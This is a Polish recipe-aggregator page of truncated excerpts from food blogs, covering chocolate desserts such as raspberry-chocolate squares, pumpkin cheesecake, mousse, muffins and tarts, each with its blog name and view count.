malinowe-klik . Kostka malinowo-czekoladowa /inspiracja Moje wypieki Ciasto czekoladowe 130 g mąki pszennej 1/2 łyżeczki sody oczyszczonej 1/2 łyżeczki proszku do pieczenia 120 g masła 55 g gorzkiej czekolady 60 g kakao 2 duże jajka 185 g drobnego cukru do wypieków cukier waniliowy 1/2 szkl kwaśnej śmietany 18% Mus malinowy 650 g malin 3 łyżki cukru 1 opakowanie galaretki(...)świeżych malin (jako dodatek do musu) Dodatkowo galaretka malinowa Ciasto czekoladowe: mąkę, sodę i proszek do pieczenia wymieszać i przesiać. W garnuszku roztopić masło, zdjąć z palnika, dodać posiekaną czekoladę i mieszać, aż się roztopi. Dodać kakao i wymieszać rózgą kuchenną. Odstawić do przestudzenia. Jajka, cukier i cukier waniliowy ubić mikserem, aż staną się lekkie i puszyste. Dodać masę czekoladową

Pieguskowa Kuchnia
Tarta czekoladowa z popcornem 177

SOLONYM POPCORNEM Składniki: ciasto : 120 g schłodzonego masła 200 g mąki  50 g cukru 1 żółtko 1 szczypta soli masa czekoladowa: 500 ml śmietany 30% 400 g czekolady gorzkiej 50 g syropu glukozowego (glukoza w płynie lub np.syrop kukurydziany)  100  masła dodatkowo: popcorn  złoty syrop lub karmel Przygotowanie: ciasto: Schłodzone masło kroimy w kostkę, łączymy(...)ciastem chłodzimy 30 minut w lodówce a potem pieczemy w 180 stopniach około 15 minut. masa czekoladowa: Śmietanę doprowadzamy do wrzenia i zdejmujemy z ognia, dodajemy drobno posiekaną czekoladę  i syrop glukozowy. Mieszamy na gładką masę, a pod koniec dodajemy masło, mieszamy do rozpuszczenia.  Masę wylewamy na upieczony spód i wstawiamy do lodówki na 8 godzin. Przed podaniem

Bon appetit mon amie
Sernik dyniowy na piernikowym spodzie 178

cukru pudru 1 szkl. puree z dyni 1 budyń śmietankowy na 1/2 l 1/2 łyżeczki cynamonu szczypta startej gałki muszkatołowej ponadto: 3 łyżki masy kajmakowej 4 kostki czekolady deserowej Mąkę wymieszać z cukrem pudrem,dodać szczyptę soli i posiekać z zimnym masłem. Następnie dodać żółtko,przyprawę do piernika i kakao,zagnieść ciasto. Ciasto schłodzić w lodówce przynajmniej godzinę. Tortownicę(...)przygotowany spód.  Sernik wstawić do piekarnika nagrzanego do 180*C i piec ok 60 minut. Po upieczeniu wystudzić.  Wierzch posmarować masą kajmakową i posypać grubo posiekaną czekoladą

Kolorowa kuchnia Elki
Jaglany makowiec z pomarańczą polany czekoladą 138

forma 20 cm) -100 g kaszy jaglanej -100 g maku -1 banan -20 g wiórków kokosowych -2 jaja -3 łyżki rodzynek -30 g orzechów -1 pomarańcza polewa: -30 g czekolady gorzkiej -20 g oleju/masła +wiórki kokosowe do posypania (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Kaszę gotujemy i studzimy. 2. Mak zalewamy wrzątkiem na 10 min i odcedzamy. 3. Rodzynki zalewamy(...)Potem wiórki kokosowe, pokruszone orzechy, skórkę oraz sok z pomarańczy, rodzynki i wszystko dokładnie miksujemy. 6. Przelewamy masę do formy wyłożonej papierem i pieczemy 80 min 180 stopni. 7. Czekoladę rozpuszczamy i polewamy na ostygnięte ciasto i posypujemy kokosem

Zdrowie i pysznie na talerzu
Wegańskie, zdrowe batoniki 239

kubka daktyli, 1 łyżeczka ekstraktu z wanilii  2 łyżki masła orzechowego, 2 warstwa: 1/2 kubka namoczonych daktyli, 2 łyżki masła orzechowego, 2 łyżki roztopionego oleju kokosowego, Polewa: Czekolada 72% 1 łyżka oleju kokosowego Wykonanie: Składniki 1 warstwy wsypujemy do blendera. Miksujemy do momentu aż składniki się połączą i stworzą sprężystą, klejącą masę. Masę przekładamy do podłużnej foremki na ciasto(...)zamrażalki. Składniki drugiej warstwy również miksujemy w blenderze i nakładamy kolejną warstwę na masę w foremce i ponownie całość wkładamy do zamrażalki. Rozpuszczamy w rondelku na małym ogniu czekoladę, dodajemy olej kokosowy i mieszamy. Wyciągamy masę w lodówki i kroimy w prostokąty. Następnie polewamy je masą czekoladową i zostawiamy do ostygnięcia masy. Następnie zajadamy słodycze z czystym sumieniem

Smaki Przyprawy i Kolory
Kostka malinowo-czekoladowa 141

malinowe-klik . Kostka malinowo-czekoladowa /inspiracja Moje wypieki Ciasto czekoladowe 130 g mąki pszennej 1/2 łyżeczki sody oczyszczonej 1/2 łyżeczki proszku do pieczenia 120 g masła 55 g gorzkiej czekolady 60 g kakao 2 duże jajka 185 g drobnego cukru do wypieków cukier waniliowy 1/2 szkl kwaśnej śmietany 18% Mus malinowy 650 g malin 3 łyżki cukru 1 opakowanie galaretki(...)świeżych malin (jako dodatek do musu) Dodatkowo galaretka malinowa Ciasto czekoladowe: mąkę, sodę i proszek do pieczenia wymieszać i przesiać. W garnuszku roztopić masło, zdjąć z palnika, dodać posiekaną czekoladę i mieszać, aż się roztopi. Dodać kakao i wymieszać rózgą kuchenną. Odstawić do przestudzenia. Jajka, cukier i cukier waniliowy ubić mikserem, aż staną się lekkie i puszyste. Dodać masę czekoladową

Pieguskowa Kuchnia
Puszyste ciasto czekoladowo orzechowe 433

pyszne i puszyste ciasto a do tego z dodatkiem czekolady. Dlatego mamy dla Was przepis na ciasto czekoladowo orzechowe :) Składniki na ciasto czekoladowe: – 200 g mąki z orzechów arachidowych – 200 g czekolady gorzkiej 70% – 200 g masła 82% – 160 g cukru trzcinowego – 1 łyżka kakao

Kuchenne Wariacje
Muffiny dyniowo-orzechowe (wegańskie, bez glutenu i rafinowanego cukru) 145

łyżeczki cynamonu i imbiru, szczypta mielonych goździków i gałki muszkatołowej (lub więcej przypraw, jeśli muffiny mają być bardziej korzenne) do ozdobienia muffinek: 4 – 5 kostek rozpuszczonej gorzkiej czekolady, 2 łyżki posiekanych orzechów, kilka owoców suszonej żurawiny (opcjonalnie) Mleko połączyć z octem, odstawić na kilka minut do rozwarstwienia. Orzechy zmielić na mąkę, przełożyć do miski. Dodać mąkę ryżową, cukier, sodę(...)patyczek wbity w gotowe muffiny może nie być całkowicie suchy – mogą być na nim fragmenty wilgotnego ciasta, ale nie wyraźnie surowego). Po upieczeniu muffiny pozostawić do wystudzenia, wystudzone polać czekoladą, posypać posiekanymi orzechami i żurawiną. Smacznego! Wszystkie składniki powinny być w temperaturze pokojowej . Purée dyniowe użyte w przepisie nie powinno być nadmiernie wilgotne, by ciasto nie groziło zakalcem.   Zapisz

Even Better Food
Owsianka dyniowa 146

dłuugoo nas nasyci. Według znanego przysłowia śniadanie trzeba zjeść jak król a ta owsianka jest tego najlepszym przykładem. Jesienna owsianka z dynią, świeżymi owocami, orzechami, wiórkami kokosowymi i gorzką czekoladą mmm czego chcieć więcej 😊❤ Składniki:  4,5  łyżki płatków owsianych górskich 1 szklanka mleka  3 łyżki puree z dyni o mocno pomarańczowym kolorze  0,5 łyżeczki(...)miski i dodaj do niej miód, wymieszaj.  Ozdób ulubionymi owocami u mnie : gruszka, śliwki oraz kaki inaczej persymona. Posypałam wiórkami kokosowymi, pokrojonymi orzechami i dodałam domowej roboty fit czekoladę. Wyszło pysznie.  Smacznego

Słodka Strefa
Ciasto czekoladowe z dynią 291

puree z dyni 250 g jogurtu naturalnego 250 g mąki pszennej tortowej 40 g kakao 1,5 łyżeczki proszku do pieczenia 1/2 łyżeczki sody Polewa czekoladowa: 100 g gorzkiej czekolady 200 g śmietany 30% 2 łyżeczki cukru trzcinowego 2 łyżeczki żelatyny WYKONANIE Wszystkie składniki powinny być w temperaturze pokojowej. Piekarnik rozgrzać do temperatury 180 ° C. Spód formy tortowej o średnicy(...)minut, bo wolę bardziej wilgotne). Upieczone ciasto zostawić do ostudzenia. Żelatynę zalać odrobiną zimnej wody i zostawić do napęcznienia. Do rondelka wlać śmietankę, dodać cukier trzcinowy i połamaną czekoladę. Mieszając zagotować masę, wyłączyć palnik, po czym dodać żelatynę i dobrze wymieszać, żeby się rozpuściła. Zostawić do ostudzenia. Ostudzone ciasto polać gęstniejącą polewą czekoladową i wstawić na godzinę do lodówki. Ciasto

Passions hobbies life
MUS czekoladowy TEN NAJLEPSZY (bez glutenu) 149

TAKIEJ wersji z awokado. Też rewelacyjny, koniecznie musicie spróbować. Dziś udowodnię, że skoro można zrobić brownie z batata , to na bank mus czekoladowy też będzie spoko. Z resztą czekolada zazwyczaj nie zawodzi! Nie będę opisywał więcej smaku ( mega ), konsystencji ( delikatny i puszysty ), ani super łatwego przygotowania Dziś przekazuję Wam przepis, a efekt oceńcie sami. Składniki: ugotowany duży batat ¾ puszki mleka(...)daktyli to możecie je zastąpić miodem, ale polecam z nimi, bo nadają niesamowitą gładkość całej konsystencji. Podajemy w miseczce lub lodowych pucharkach. Dekorujemy ulubionymi dodatkami: bitą śmietaną, owocami lub czekoladą. Smacznego! Artykuł MUS czekoladowy TEN NAJLEPSZY (bez glutenu) pochodzi z serwisu paleolife

PaleoLife
Murzynek 144

czekoladowej, niż do brownie. SKŁADNIKI 3 jajka szczypta soli 200 g cukru trzcinowego lub białego 1 opakowanie cukru waniliowego 150 ml oleju rzepakowego 50 g masła 100 g gorzkiej czekolady 200 ml mleka 300 g mąki pszennej tortowej 20 g kakao 2 łyżeczki proszku do pieczenia cukier puder lub polewa czekoladowa do dekoracji WYKONANIE Wszystkie składniki powinny być w temperaturze(...)pokojowej. Piekarnik rozgrzać do temperatury 180 ° C. Dno blaszki o wymiarach 25 x 30 cm wysmarować masłem i oprószyć mąką. Masło rozpuścić w garnuszku, dodać połamaną czekoladę i lekko podgrzewając roztopić. Zostawić do ostudzenia. Do miski wbić jajka, dodać szczyptę soli i ubijać stopniowo dodając cukier trzcinowy i waniliowy. Do ubitej masy wlać olej rzepakowy i masę czekoladową, po czym

Passions hobbies life
Kawa z whisky. Sernik 209

mleka 2 łyżki kawy (prawdziwej) 4 listki żelatyny 45 ml whisky 250 g serka kremowego 125 g cukru pudru 300 ml śmietany kremówki (38%) dodatkowo: 25 g białej czekolady 25 g ciemnej czekolady (78%) Masło rozpuścić. Herbatniki dokładnie pokruszyć, dodać masło, wymieszać. Masę ciasteczkową wsypać do tortownicy, ugnieść na dnie dłonią lub spodem łyżki. Schłodzić. Żelatynę namoczyć w zimnej wodzie

Pożeraczka, czyli raz adobrze
muffiny z aronią i białą czekoladą 201

sprawdziła się doskonale jako dodatek do jesiennych muffinek . składniki: 2 szklanki mąki szczypta soli 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 1/2 szklanki cukru 150 g posiekanej białej czekolady 2 jajka 1/2 szklanki oleju 1/2 szklanki mleka 1 1/2 szklanki zamrożonej aronii wykonanie: Mleko, jajka i olej wlewam do miski i łączę łyżką. Wszystkie suche składniki wsypuję do drugiej(...)miski, mieszam i dolewam mokre. Wszystko razem mieszam krótko i delikatnie - tylko do połączenia składników. Dodaję białą czekoladę oraz owoce aronii i bardzo delikatnie łączę. Przekładam ciasto do formy na muffinki wyłożonej papilotkami, napełniam foremki do pełna (z tej porcji ciasta wychodzi około 15 babeczek). Piekę ok. 25 minut w temperaturze 180 stopni. Gotowe muffinki posypuję cukrem pudrem

babka w formie
Przekładaniec z malinami 529

temperaturze pokojowej 4 łyżki cukru Warstwa galaretki: 3 galaretki malinowe/owoce leśne/truskawka  500 g świeżych malin lub innych owoców 750 ml gorącej wody Polewa czekoladowa: 100 g czekolady deserowej/mlecznej 70 g masła Przygotowanie: Biszkopt:   Masło utrzeć z cukrem pudrem na puszystą masę, stopniowo dodawać po jednym żółtku. Na koniec wsypać przesianą mąkę z proszkiem do pieczenia. Miksować(...)stopniowo zimny budyń i miksować na gładką masę. Warstwa galaretki:   Galaretki rozpuścić w gorącej wodzie. Odstawić do lekkiego stężenia, gdy zacznie tężeć dodać maliny i wymieszać. Polewa czekoladowa: Czekoladę i masło rozpuścić w kąpieli wodnej lub w mikrofalówce i wymieszać na jednolitą masę. Składanie ciasta: Na dnie blaszki ułożyć 1 biszkopt upieczonego ciasta, wyłożyć 1/2 kremu, następnie galaretkę

Malinowo w kuchni
Gruszki z chrupiącą kołderką 161

gruszką składniki dla 4 osób: 4 gruszki 8 łyżek płatków owsianych 4 łyżki płatków migdałowych 1-2 łyżki naturalnego miodu 2 płaskie łyski oleju kokosowego 4 kostki gorzkiej czekolady lody jako dodatek - opcjonalnie wykonanie: Gruszki myjemy, przecinamy na pół razem z ogonkiem i za pomocą łyżeczki wyciągamy gniazda nasienne. Pozostawiamy ogonek do dekoracji. W garnuszku podgrzewamy miód i olej kokosowy(...)gruszki zmiękną wyjmujemy je na chwile z piekarnika i na każdej za pomocą łyżki nakładamy przygotowane wcześniej płatki. Zanim to jednak zrobimy do płatków dodajemy posiekaną drobno gorzką czekoladę. Tak przygotowane gruszki pieczemy jeszcze około 10 minut.  Podajemy gorące najlepiej z lodami lub sosem na bazie serka mascarpone czy bitą śmietaną. Uwagi: Do crumble można dodać ulubione przyprawy typu

Przysmaki Karolki
Ciasteczka czekoladowe z orzechami 171

Czekoladę na pewno każdy lubi :) Dla łasuchów polecamy pyszne i mięciutkie ciasteczka czekoladowe z orzechami :)   Składniki na ciastka czekoladowe: – 100 g posiekanych orzechów włoskich – 100 g posiekanej czekolady deserowej – 72 g kakao – 250 g cukru pudru – 3 białka – 1/4 łyżeczki soli Składniki na 9 dużych ciastek

Kuchenne Wariacje
Dyniowa kostka z cytrusami ( bez glutenu) 144

mąki ziemniaczanej  sok z połowy cytryny  80 g masła  130g jasnego cukru trzcinowego  Ponadto :  50 g mascarpone  50 g dobrej jakości czekolady deserowej  posypka czekoladowa  Wykonanie :  1. Dynie obieramy, usuwamy pestki. Kroimy na 5 cm kostki. Wrzucamy do garnka i wyciskamy sok z pomarańczy .Zalewamy dynię i wstawiamy na mały ogień(...)połączenia się mas.  4. Masę przelewamy do prostokątnej formy o wymiarach 20 cm x 24 cm x 6 cm. Pieczemy 1 godzinę w temperaturze 175 C.  5. Czekoladę deserową rozpuszczamy w kąpieli wodnej. Lekko studzimy następnie łączymy z serkiem mascarpone. Ubijamy całość na puszystą masę trzepaczką. Chłodzimy.  6. Wystudzone ciasto dekorujemy kremem wyciskając zgrabne rozetki. Posypujemy posypką

vaniliowoczekoladowa
Łatwy sernik na zimno z pieczoną dynią 238

blachę (22 x 34) cm): 15 herbatników 350 g pieczonej dyni (najlepiej odmiany Hokkaido) 500 g sera z wiaderka 2 galaretki cytrynowe 500 ml wrzątku ok. 20 g gorzkiej czekolady olej do smażenia Dynię ze skórą pokroić na kawałki. Ułożyć na blasze polanej olejem. Polać łyżką oleju. Piec 40 minut w temperaturze 190 stopni C. Galaretki rozpuścić we wrzątku. Odstawić(...)dyniowy zmiksować z serem. Do masy dodać tężejące galaretki, zmiksować do połączenia składników. Herbatnikami wyłożyć dno formy. Na herbatniki wyłożyć masę serowo-dyniową. Wyrównać powierzchnię. Całość oprószyć tartą czekoladą. Wstawić do lodówki na ok. godzinę

Weekendy w domu i ogrodzie
Jak przekonać dziecko do jedzenia owsianki? 160

każdy rano się spieszy, ale chociaż w weekendy starajcie się jeść wspólnie. Każdby może jeść swoją ulubioną wersję owsianki – u nas Tomek je na mleku z tartą czekoladą, Milena kakaową, a ja na wodzie z owocami. Ale wciąż łączy nas owsianka. Dodaj coś, co uwielbia Twoje dziecko. Mile je zaskocz – na przykład zaproponuj owsiankę czekoladową . I wcale(...)polecam zetrzeć do owsianki gorzką czekoladę – dosyp do owsianki na mleku łyżeczkę kakao i cukru (może być też łyżeczka gotowego napoju kakaowego). Małymi kroczkami oswajajcie się z płatkami owsianymi, żeby później zmieniać dodatki i eksperymentować z owocami. Niech owsianka się uśmiechnie Może to banalne, ale na prawdę działa. Ułóż w miseczce z owsianką ulubione owoce Twojego dziecka w kształcie

Dietolog
Ciasto czekoladowe z mlekiem w proszku. 123

proszku niewielka ilość gorącej wody Pianka: 200 ml śmietanki kremówki 30% cukier puder do smaku 2 łyżki ciemnego kakao 2 łyżki mleka w proszku Dodatkowo: 10 dag mlecznej czekolady Wykonanie: 1. Ciasto: Żółtka ucieramy z cukrem na puszystą masę, następnie dodajemy olej i ciepłą wodę, chwilę ucieramy. Dodajemy mąkę, kakao i proszek do pieczenia, ucieramy chwilę, aż ciasto będzie gładkie(...)dodajemy cukier puder do smaku, kakao i mleko w proszku, dokładnie ubijamy. Ubitą śmietankę przekładamy do rękawa cukierniczego z ozdobną końcówką. Następnie wyciskamy ją na zastygniętej polewie. 4. Dekoracja: Czekoladę ścieramy na tarce o dużych oczkach lub ścieramy ją nożem, następnie dekorujemy ciasto. 5. Podanie: Tak przygotowane ciasto wstawiamy do lodówki do stężenia. Po tym czasie jest gotowe do podanie

Izabelawkuchni
Ciasto 3 BIT 287

kostka miękkie masła (200 g) 1 duże opakowanie śmietany 30% (500 ml) + 2 łyżki cukru pudru 1/3 szklanki wrzącej wody + 4 łyżeczki żelatyny 3 kostki gorzkiej czekolady Masę kajmakową podgrzać (puszkę wstawić do wody i całość gotować kilka minut). Formę wyłożyć folią przezroczystą bądź papierem do pieczenia. Następnie ułożyć warstwę herbatników i na nie przełożyć ciepłą masę kajmakową(...)Schłodzoną śmietanę ubić na sztywną masę. Pod koniec ubijania wsypać cukier puder i wlać roztopioną, ostudzoną żelatynę. Wymieszać. Ubitą śmietanę wyłożyć na wierzch ciasta. Na sam koniec zetrzeć gorzką czekoladę. Ciasto wstawić do lodówki. Kroić po schłodzeniu (można już kroić po 2 godzinach od przygotowania).  Przepis STĄD

Ugotować
Jaglany „Michałek” bez pieczenia FIT 173

kolegom coś pysznego? Przygotujcie rewelacyjne ciasto jaglane, które przyrządzicie w mig! Pyszne, zdrowe i bardzo sycące ciasto bez dodatku cukru, bez pieczenia. Smakuje jeszcze lepiej w towarzystwie gorzkiej czekolady, masła orzechowego, orzeszków ziemnych i wiórków kokosowych. Czego chcieć więcej? Do roboty! Składniki na formę 20×25 cm: – 2,5 szklanki mleka – 200g kaszy jaglanej (2 woreczki(...)masła orzechowego z kawałkami orzechów – 150g mąki kokosowej – 3 banany – 2 łyżki kakao – kilkanaście herbatników (można pominąć) *opcjonalnie: można dosłodzić *do dekoracji – roztopiona gorzka czekolada, masło orzechowe, orzeszki ziemne, wiórki kokosowe Kaszę jaglaną kilkukrotnie płuczemy i umieszczamy w rondelku wraz z mlekiem. Całość gotujemy pod przykryciem na małym ogniu do miękkości kaszy, od czasu

Be Fit Be Strong
Placki bananowo-jogurtowe 176

Szybkie i proste placuszki. Świetnie komponują się z syropem klonowym, dżemem brzoskwiniowym lub gorzką czekoladą. Często przygotowuję je na śniadanie, gdy nie mam czasu a chcę zjeść coś na ciepło i słodko 😊 Składniki: 1 banan 2 łyżki jogurtu greckiego 2 jajka 4 łyżki mąki pszennej 2 łyżki mleka 1/4 łyżeczki sody oczyszczonej szczypta soli opcjonalnie syrop klonowy, cukier puder(...)posypania lub starta gorzka czekolada Przygotowanie: W miseczce dokładnie wymieszaj jajka z jogurtem i mlekiem. Dodaj mąkę, sodę oczyszczoną, sól oraz rozgnieciony widelcem banan. Dokładnie wymieszaj wszystkie składniki. Na patelni rozgrzej olej, placuszki smaż z obu stron na złoty kolor, podawaj ciepłe. Smacznego

Słodka Strefa
Czekoladowy tort urodzinowy z solonym karmelem 193

masła orzechowego (użyłam z kawałkami orzechów) opcjonalnie łyżka cukru pudru Masło orzechowe wymieszać z mascarpone i jeśli będzie potrzeba dosłodzić. Czekoladowy krem (ganache) 150 g gorzkiej czekolady 600 ml śmietany kremówki 2-3łyżki cukru pudru (opcjonalnie) Śmietanę podgrzać i do gorącej włożyć pokruszoną czekoladę. Następnie wymieszać do uzyskania jednolitego czekoladowego sosu. Schłodzić conajmiej 3 godziny.  Przed składaniem tortu

Piekarz-Kucharz-Garkotłuk
Mars 442

batonów MARS 40 g masła mleczna masa: 1/2 szklanki mleka 1/4 szklanki cukru niepełne 2 szklanki mleka w proszku 100 g masła dodatkowo: 5 sztuk truskawek 100 g gorzkiej czekolady 3 łyżki śmietany kremówki 2 małe batoniki MARS do dekoracji Masło roztopić z batonikami Mars. Zdjąć z gazu. Blaszkę wyłożyć papierem do pieczenia. Wylać masę na spód. Włożyć do lodówki(...)proszku i bardzo energicznie wymieszać rózgą, tak aby nie powstały grudki. Wylać masę na schłodzony spód. Ponownie włożyć na kwadrans do lodówki. Przygotować polewę. W kąpieli wodnej rozpuścić czekoladę. Dodać pod koniec śmietanę kremówkę. Rozprowadzić na cieście. W polewie umieścić pokrojone truskawki oraz pokrojone batoniki

Ania i Marcin gotują
Czekoladowy suflet z Nutelli 163

można sobie wymarzyć lepszy deser na tę wczesną jesień? Listopad we wrześniu daje pełne rozgrzeszenie na wieczory pod kocem, duże ilości ciepłej herbaty i czekoladę bez limitów ;) Suflet, który chciałam Wam zaproponować przygotujecie dosłownie z kilku składników i naprawdę nie jest to skomplikowane ciacho! Moje ceramiczne miseczki, w których piekłam suflety mają średnicę 10 cm, z podanych składników zrobicie(...)uzyskania jednolitej masy. Białka ubijamy z 1 łyżką cukru – można ubić bez cukru, ale dzięki niemu piana jest stabilniejsza i trudniej ją później popsuć w czasie mieszania z czekoladą. Delikatnie mieszamy pianę z masą czekoladową aż do uzyskania jednolitej konsystencji. Przelewamy do foremek wypełniając je do 3/4 wysokości. Suflety sporo urosną podczas pieczenia. Wkładamy do rozgrzanego piekarnika i pieczemy

Ciastkozercy
Zdrowe pralinki orzechowe w czekoladzie 189

Wyglądają i smakują jak najlepsze pralinki ze sklepu. Do ich przygotowania można wykorzystać zarówno orzechy ziemne jak i włoskie, a ściślej masło orzechowe :) Gotowe czekoladki można polać gorzką czekolada, ale oczywiście nie jest to konieczne :) Składniki: 1 batat, ugotowany 3  łyżki masła orzechowego 2 łyżki miodu 2 łyżki mąki kokosowej kropelka aromatu waniliowego 5 daktyli Daktyle namoczyć w wodzie(...)zmiksować, gdy będą miękkie. Połączyć za pomocą miksera z resztą składników. Z gotowej masy uformować kulki i umieścić w zamrażarce na całą noc. Następnego dnia obtoczyć kulki w gorzkiej czekoladzie. Smacznego

Chocolate Muffin Blog
Tarta z malinami 187

wyglądem zachwyci każdego. Składniki: 250 g mąki pszennej 100 g masła 2 żółtka 4 łyżki cukru 250 g serka mascarpone 250 ml śmietanki 30% lub 36% 150 g białej czekolady 1 opakowanie świeżych malin Listki świeżej mięty Cukier puder Sposób przygotowania: Na początku mąkę przesiewamy na stolnicę. Dodajemy do tego cukier, masło i wysiekamy. Gdy powstanie nam kruszonka dodajemy(...)wstanie”. Wstawiamy do rozgrzanego piekarnika (180 stopni) na ok. 15 minut. Po tym czasie zdejmujemy obciążenie i wstawiamy jeszcze na 15 minut. Przygotowujemy masę. Białą czekoladę rozpuszczamy w kąpieli wodnej. Lekko ją przestudzamy i następnie miksujemy z serkiem mascarpone. Śmietanę ubijamy na sztywną pianę. Ubitą śmietanę łączymy z masą serową. Gotową masę przekładamy na wystudzone ciasto. Na wierzchu układamy

CookMag
Mleczna kanapka - milky way bez pieczenia 178

Mleczna kanapka,ciasto lubiane i bardzo popularne.  U mnie w wersji bez pieczenia,na herbatnikach.   250 g herbatników kakaowych 100 g czekolady deserowej masa: 1/2 szkl. mleka 3/4 szkl. cukru 250 g masła ( ew. Kasi) 2 szkl. mleka w proszku 2 łyżki cukru z wanilią Blaszkę ( o wym. 24/28 cm) wyłożyć folią aluminiową,na dnie ułożyć połowę herbatników(...)puszystą masę, dalej ucierając dodawać ostudzone mleko z cukrem i mleko w proszku. Ucierać tak długo aż powstanie bardzo puszysta masa. Gotową masą przełożyć na herbatniki. Rozłożyć pozostałe herbatniki. Czekoladę roztopić i posmarować górę ciasta. Ciasto włożyć na kilka godzin do lodówki,najlepiej na całą noc. Herbatniki zmiękną i bez problemu pokroimy ciasto w kostkę

Kolorowa kuchnia Elki
Kokosowe chia z karmelizowanymi bananami i orzeszkami 125

nasion chia – garść orzeszków ziemnych – 1 łyżka soku z cytryny – 2 łyżeczki miodu – 2 szczypty soli – szczypta cynamonu *opcjonalnie: ksylitol do posłodzenia, roztopiona gorzka czekolada do polania, chipsy bananowe Do dużej miski wlewamy jogurt, mleczko kokosowe i wsypujemy nasiona chia, w tym momencie możemy dosłodzić, jeśli lubimy słodkie. Dokładnie mieszamy i odstawiamy(...)strony. Zdejmujemy z patelni i wykładamy na pudding z chia. Orzechy drobno siekamy i prażymy wraz z łyżeczką miodu i solą na patelni. Wykładamy na na banany. Dekorujemy roztopioną czekoladą i chipsami bananowymi. Smacznego! Artykuł Kokosowe chia z karmelizowanymi bananami i orzeszkami pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Ciasteczka kokosowo-migdałowe z białą czekoladą (bezglutenowe) 122

mieszania składników... kuuusząco pachną! Są delikatnie chrupiące na zewnątrz oraz miękkie w środku. Dodatkowo bardzo sycą i nadają się dla osób na diecie bezglutenowej - wtedy należy pamiętać o dodaniu czekolady bez glutenu. Koniecznie spróbujcie! (około 9-10 sztuk)  1/2 szklanki mąki migdałowej (1 szklanka = 250 ml) 1/2 szklanki mąki kokosowej 1 jajko (duże)  5 łyżek oleju kokosowego (roztopionego(...)misce dokładnie wymieszać mąkę migdałową, kokosową, ksylitol, sól oraz sodę oczyszczoną. Dodać jajko, mleko i olej kokosowy. Całość dokładnie połączyć, a na końcu do masy wmieszać posiekaną czekoladę. Z ciasta formować kulki o wielkości orzecha włoskiego. Każdą kuleczkę odrobinę spłaszczyć i z niewielkimi odstępami ułożyć na blasze wyłożonej papierem do pieczenia (*). Piec w rozgrzanym piekarniku przez około 25 minut

Di gotuje
Czekoladowy tort z cukinii 137

Gwarantuję, że nikt nie zgadnie głównego składnika! Składniki na jedną formę (19cm) : -250g cukinii -180g mąki owsianej -120g ksylitolu -100g mleka migdałowego -40g gorzkej czekolady -50g pistacji -50g skrobii  -50g kakao  -50g oleju arachidowego -20g miodu -łyżeczka sody oczyszczonej -1/4 łyżeczki proszku do pieczenia -szczypta soli Wykonanie(...)proszek do pieczenia. Mieszamy je dokładnie i dorzucamy do miksera. Ponownie mieszamy, aż składniki dokładnie się połączą. Przelewamy masę do formy wyłożonej papierem do pieczenia i posypujemy pokruszoną czekoladą na wierzchu. Pieczemy w 175 stopniach przez ok. 50-55 min. Serwujemy schłodzone. Gotowe!  100g ciasta zawiera jedynie ok. 270 kcal. Smacznego

Gawron w rosole
Mus czekoladowy z tofu jedwabistego 114

nieba. To pyszny mus czekoladowy. Oto przepis na mus czekoladowy Jego podstawą jest tofu jedwabiste. Najlepiej kupić dwa opakowania (zwykle 350 lub 450 gramów) oraz dużą tabliczkę gorzkiej czekolady, takiej dobrej jakości, czyli bez oleju palmowego. Do tego można dodać dwie czubate łyżeczki kandyzowanej skórki pomarańczowej i odrobinę syropu klonowego. Tofu ubijamy mikserem na jednolitą masę. Topimy czekoladę w łaźni

Królestwo Deserów
Tort malinowy 208

polewę malinową: 100 ml musu malinowego 2 łyżki galaretki malinowej +1 kg malin – na mus do nasączenia, do przełożenia ciasta i na dekorację, limonka lub cytryna, gorzka czekolada do dekoracji (u mnie malinowa) Biszkopty pieczemy według przepisu . Można zrobić to dzień wcześniej, żeby miały dużo czasu na ostygnięcie. Maliny myjemy i odkładamy na ściereczkę, żeby wyschły(...)Zagotowujemy, wyłączamy ogień i dodajemy galaretkę, mieszamy, aż galaretka zupełnie się rozpuści. Odstawiamy całość do przestudzenia. Schłodzony tort dekorujemy zostawionym wcześniej kremem, polewą malinową, świeżymi malinami i kostkami gorzkiej czekolady. Smacznego! ciastkożercy

Ciastkozercy
PIANKOWY DESER NA ZIMNO Z JAGODAMI 192

delikatna i przyjemnie orzeźwiająca. SKŁADNIKI : mleko skondensowane – 200 ml galaretka o smaku owoców leśnych – 1 opakowanie woda – 250 ml jagody – garść serek danonek truskawkowy – 1 sztuka – 50 g biała czekolada – 4 kostki PRZYGOTOWANIE : Do przygotowania galaretki użyć tylko połowę wody, która jest podana na opakowaniu. Zostawić do ostudzenia i przełożyć do lodówki aż stężeje w połowie. Galaretkę dać do miski(...)powstania pianki. Dodać jagody i przemieszać. Przełożyć do plastikowego pojemnika, szczelnie zamknąć i włożyć do zamrażalki. Wyjąć po 1,5 godziny. Deser przełożyć do pucharków i posypać startą białą czekoladą

kuchniabellissima.wordpress.com
Lody czekoladowe z awokado - pyszne, proste i super zdrowe 146

maszynkę. Skład bardzo prosty, a lody pełne wartości odżywczych. Zapraszam na lody - samo zdrowie i bardzo polecam! Składniki: 1 duże dojrzałe awokado 1 puszka mleka kokosowego 200 g gorzkiej czekolady 1/3 łyżeczka soli wanilia, płatki chili wg uznania Wykonanie: mleko wlać do garuszka, dodać połamaną na kawałki czekoladę i podrzewać do rozpuszczenia, do uzyskania gładkiej, aksamitnej konsystencji. Odstawić do ostudzenia

Gotuj zdrowo!Guten Appetit!
Deser bananowe łódki 102

wszystko. Bo czasami coś zwykłego i oczywistego podanego inaczej smakuje po prostu lepiej. Spróbujcie. Składniki: 2 banany 4 łyżeczki masła orzechowego kilka malin kilka borówek kilka jeżyn klika kostek czekolady Przygotowanie: 1) Banany obrać i przekroić na pół. 2) Każdą połówkę posmarować łyżeczką masła orzechowego. 3) Na wierzchu każdej łódeczki poukładać owoce i czekoladę. 4) Podawać od razu po przygotowaniu

Fitsweet.me
Ciasto kokosowe z malinami i białą czekoladą 141

Lubię ciasto kokosowe, a jeszcze bardziej lubię ciasto kokosowe z malinami. W momencie gdy dochodzi tu biała czekolada to ciasto kokosowe z malinami... The post Ciasto kokosowe z malinami i białą czekoladą appeared first on Eksperymentuj z życiem

Eksperymentalnie.com
CIASTO AMBASADOR 282

